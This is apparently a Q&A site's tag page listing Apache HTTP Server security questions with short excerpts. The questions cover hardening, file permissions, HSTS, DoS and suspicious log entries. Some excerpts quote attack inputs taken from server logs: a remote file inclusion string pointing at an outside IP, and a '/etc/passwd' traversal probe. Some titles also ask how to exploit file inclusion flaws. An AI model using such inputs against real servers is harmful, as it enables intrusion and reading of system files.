Questions about the security of Apache open source software, especially Apache HTTP Server

learn more… | top users | synonyms

1
vote
1answer
189 views

Edit virtual host file using php [closed]

I have a php application and somethings related to the application need changes to vhost.conf file. Presently i'm making the changes manually. But i would like to automate it using a php script. Is ...
0
votes
1answer
117 views

Abusing write permission on Apache logs dir to escalete privileges

I have just come across this sentence on apache log files documentation: Anyone who can write to the directory where Apache is writing a log file can almost certainly gain access to the uid that ...
13
votes
2answers
2k views

Security implications of having files owned by the apache user?

Currently running a LAMP instance that developers are using for a variety of webapps. I have the following scenario: Multiple developers need access to create and modify files under ...
7
votes
1answer
3k views

How to secure a ActiveMQ?

Does anybody have experience with securing/hardening ActiveMQ? Check lists or guides would be welcome.
0
votes
3answers
759 views

How to find vulnerable sites on a web server

A client of mine has a managed VPS with dozens of websites on it, maybe even hundreds. Now his server keeps getting infected on a regular basis. The webhost / server admins keep digging in the dark. ...
-1
votes
1answer
2k views

Incorrect file permissions for LAMP [closed]

I have installed Apache 2.4.6 on my server and have the following virtual host config: <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName foobar1.com DocumentRoot ...
2
votes
2answers
776 views

url from another domain in my access log

Most of the time when I am looking for 404 errors in my access.log, I see attempts to access something like /phpMyAdmin/scripts/setup.php. This does not bother me so much, but few days ago I was ...
0
votes
2answers
131 views

My Apache log is kind of freaking me out [closed]

So, last night I looked at the Apache log of my shared hosting account for the first time. There was quite a lot of traffic that looked suspicious, specifically a lot of GET request from a domain, ...
0
votes
1answer
369 views

WSO 2.5 Found on Apache

I have found on my web server the file wp-conf.php which when you call it from the browser with a url parameter like wp-conf.php?t7831n=any value shows an interface where you can control the entire ...
3
votes
3answers
374 views

Strange GET requests to my Apache Web Server?

A few days ago, my Apache web server was hit with get requests, many of which had strange escape sequences. Can someone read the following sample log entries and explain what the person tried to do, ...
0
votes
3answers
831 views

Security checklist for hosting a website on dedicated server - Linux [closed]

I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a ...
0
votes
1answer
163 views

What are the consequences of turning on Apache AllowEncodedSlashes?

What are the consequences of turning on Apache AllowEncodedSlashes? I want to turn it on and I want to know if this any worse than any of the other kinds of injection attacks that may occur in web ...
-2
votes
2answers
100 views

My VPS has been shut down now again for the second time for TOS violations, and I really need some help. [closed]

My VPS has been shut down now again for the second time for TOS violations (email spam), and I really need some help. I have been battling with my server being attacked for over a year now. Most of my ...
7
votes
4answers
663 views

Does disabling .htaccess improve security?

I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
0
votes
0answers
45 views

What Apache web server security pitfalls exist after a default installation? [duplicate]

Are there any crucial configuration changes that should be made to a fresh Apache web server install? If not, is the default installation of the web server relatively secure against exploits and DoS ...
-3
votes
1answer
315 views

Cross-site request forgery attack. How can we stopped this? [closed]

On one of our websites, we are seeing this code is adding itself. I tried to figured out but no success. One thing I have noticed when I removed the html, head and body starting tags, it's gone. Our ...
5
votes
2answers
2k views

Chrome does not show green bar with EV SSL but firefox and IE does

I just installed a EV SSL certificate on my server. It has been done correctly and is working, the issue is that Chrome does not show the company name in the green address bar, just shows the green ...
6
votes
1answer
380 views

Is enabling PHP script execution on HTML document file extensions a security concern?

I am working on a very old and messy site, which doesn't have a CMS, or a database. However, it has a lot of .htm and .php files. I need to add some PHP code to some of the .htm files, but want to ...
1
vote
2answers
412 views

Is apache mod_spamhaus still being maintained?

I only found this: http://sourceforge.net/projects/mod-spamhaus/files/?source=navbar and that is from 2008 Is there any newer apache mod that is up-to-date? Someone has experience with it? Maybe ...
2
votes
1answer
258 views

Use Client Certificate using Self Signed CA while using Web Certificate of a publicly trusted CA

I would like to ask if it is possible to use different CA for the client certificate and the web certificate? For example, I would use Verisign to sign my web certificate while I use my Self Sign ...
31
votes
9answers
1k views

Use additional “password” in Referer to hide private site?

I have a private (= I'm the only user) site at example.com/private/. Nothing else is published at this host (it's my domain). I don't want anyone to know that there is anything at example.com, ...
4
votes
3answers
404 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
8
votes
1answer
1k views

Experience with a recent DDoS attack on Apache

I originally posted a question here since I was not familiar with an actual distributed denial of service attack (DDoS) on my server. I noticed that my server is very slow in responding to HTTP ...
3
votes
2answers
245 views

Securing Java web services called by web site in DMZ using web services for communication

Suppose you have an application running Java web services in Apache Axis 2. Specifically, these are JAX-WS (Java API for XML-Based Web Services). Currently these web services are on the same Windows ...
14
votes
2answers
728 views

PHP attack string in access logs

So one of the Invision Power Board installations on my server was recently compromised. I found what seemed to be the attack (using PHP in the query string and carefully crafted cookies), and I ...
6
votes
5answers
15k views

Testing for HTTP TRACE method

How can I test for HTTP TRACE on my web-server? I need to train a Tester how to verify that the HTTP TRACE method is disabled. Ideally I need a script to paste into Firebug to initiate a https ...
2
votes
3answers
1k views

HTTPS Apache2 Information Leakage

Hello IT Security! I have Apache2 vhost with HTTPS listening on port 443, ie. https:// securesecret.com. I have another vhosts with HTTP listening on port 80, ie. http:// one.com, http:// two.com. ...
0
votes
2answers
244 views

How to protect files (cron files) frome being executed by everyone?

I wonder what read / write permissions should I set on my cron files (php files) so they can be executed only by our server. We're using CentOS 5.9 - 64bit and cPanel / WHM + Apache. Thanks!
9
votes
5answers
1k views

Apache/Linux server, DoS attack from own IP

I have an unusual problem I've been trying to diagnose for a while: It's about a Debian server running a custom compile of apache 2.2 with PHP, Red5, MySQL 5.5 (standard binary), sendmail (distro ...
4
votes
2answers
147 views

Security implications of storing email attachments on Centos Server

There is an application I am working on which requires processing the incoming mails to cs@company.com. The company.com mail accounts are being run via Google Apps for Business. So I fetch the ...
0
votes
2answers
302 views

Is there an easy way to secure Apache on debian?

I run an Apache webserver with lots of PHP-sites of several customers. I tried install apache-mod_security2 after this (german) tutorial that is using these rulesets: ...
1
vote
2answers
230 views

mod_spamhaus whitelist example to allow a range of ips

How would an example whitelist look like, that would whitelist a range of all IPs from 123.123.0.0 - 123.123.255.255 ? I have the whitelistfile in /etc/spamhaus.wl
1
vote
3answers
317 views

Web Application - Cookie Expiry

We are using a web application on cloud. I need a small clarification. We are using Perl with Apache. I see a following issue here for the below scenario. I need some inputs of whether this is most ...
2
votes
1answer
178 views

unix malicious scripts/ksh execution

I'm wondering whether my architecture poses a security risk. Details: The whole website is not ROOT owned but still, the APACHE user used instead has some pretty advanced permissions. I have a ...
-1
votes
1answer
391 views

How do i prevent url manipulations including /proc and /etc with fail2ban?

I get many attacks on my apache server that include URL-manipulations like http://url_on_my_eserver/?username=/etc/passwd how can i block these attacks?
5
votes
1answer
301 views

Using sudo to secure git deployment via web script

I'm setting up a server to do automatic deployment from a Bitbucket git repository, using Bitbucket's postback facility. Briefly, how it works it: I commit to Bitbucket Bitbucket POSTs to a ...
3
votes
4answers
336 views

Safari downloaded my php source once. Should I worry?

I uploaded via ftp, then typed in the URL of the script to Safari; Safari downloaded the source!! This hosting site has never done that before - .php scripts have always executed. I can't duplicate ...
0
votes
2answers
545 views

Weird IP addresses showing up on my server

I have a personal server located in the US, I use it to execute code which requires a lot of resources. I sometimes have apache running on my server, to test php code. I recently left my apache server ...
1
vote
2answers
2k views

Find the hack in the Apache2 logs?

The hack was a failure, as they were not able to put the created page as the home page. But we found recently a manipulated page on our website (via the rss). So I looked in the Apache2 logs and ...
17
votes
3answers
8k views

Is there a way to mitigate BEAST without disabling AES completely?

It seems that the easiest way to protect users against the BEAST attack on TLS <= 1.0 is to prefer RC4 or even disable all other (CBC) cipher suites altogether, e.g. by specifying something like ...
10
votes
2answers
1k views

HSTS extra security over HTTPS

Is HSTS good to use even if my servers are configured to use HTTPS (Even if HTTP is used, the rewrite rules in apache makes it to HTTPS) Also does HSTS make even the resources like CSS, images to be ...
-1
votes
1answer
317 views

How to exploit a local file inclusion vulnerability in a Solaris server [closed]

I am trying to exploit a local file inclusion vulnerability on a Solaris server for my security course. The server is running Apache2 through CoolStack. What is the file that I need to open? The ...
3
votes
2answers
276 views

Shared hosting mail server, Thunderbird and encryption

In spite of much searching on the internet, I can't really get an adequate understanding of this topic, perhaps because it combines multiple elements. As a result, I'm really worried about the state ...
4
votes
1answer
643 views

172.16.33.197, 127.0.0.1 IP addresses in visitor logs

I have a website running Apache and PHP. I see that there are visitors with IP addresses 172.16.33.197 and 127.0.0.1. These addresses do not belong to our network. I get the visitor IP addresses with ...
4
votes
3answers
676 views

Is a forced rewrite from http to https secure? What does SSLRequireSSL add?

I've read contradicting advice about forcing https connections in the following way: RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} To me it seems ...
0
votes
2answers
778 views

Running Apache as system service on Windows 2003 R2 64-bit

Trying to make my point, that running Apache with PHP5 module as Windows service is not secure. All I got to prove it - FTP access to some internal website. So what I did - I uploaded file test.php ...
1
vote
1answer
1k views

NGINX / HTTP TRACE

I have a http server Nginx with HTTP TRACE Enabled. A single nmap --script=http-methods.nse host.name give this result : Not shown: 988 closed ports PORT STATE SERVICE VERSION [...] ...
-4
votes
1answer
676 views

Exploiting tomcat's vulnerability CVE-2009-2693 Arbitrary file deletion and/or alteration on deploy [closed]

For some tests, I want to exploit tomcat 6 vulnerability CVE-2009-2693. You can see it here http://tomcat.apache.org/security-6.html I am trying this with insecure web application of OWASP. I made ...
7
votes
4answers
3k views

Protecting against DOS attacks

Our current site is easily DOS'd. I can perform an AB test against it from Apache and it disappears for about 5-10 minutes. We have been having problems with others DOSing the site - to the point ...
3
votes
2answers
650 views

How to counter or fix banner grabbing vulnerability

During an audit i came across banner grabbing findings,and would like to know how to mitigate that on IIS and apache server.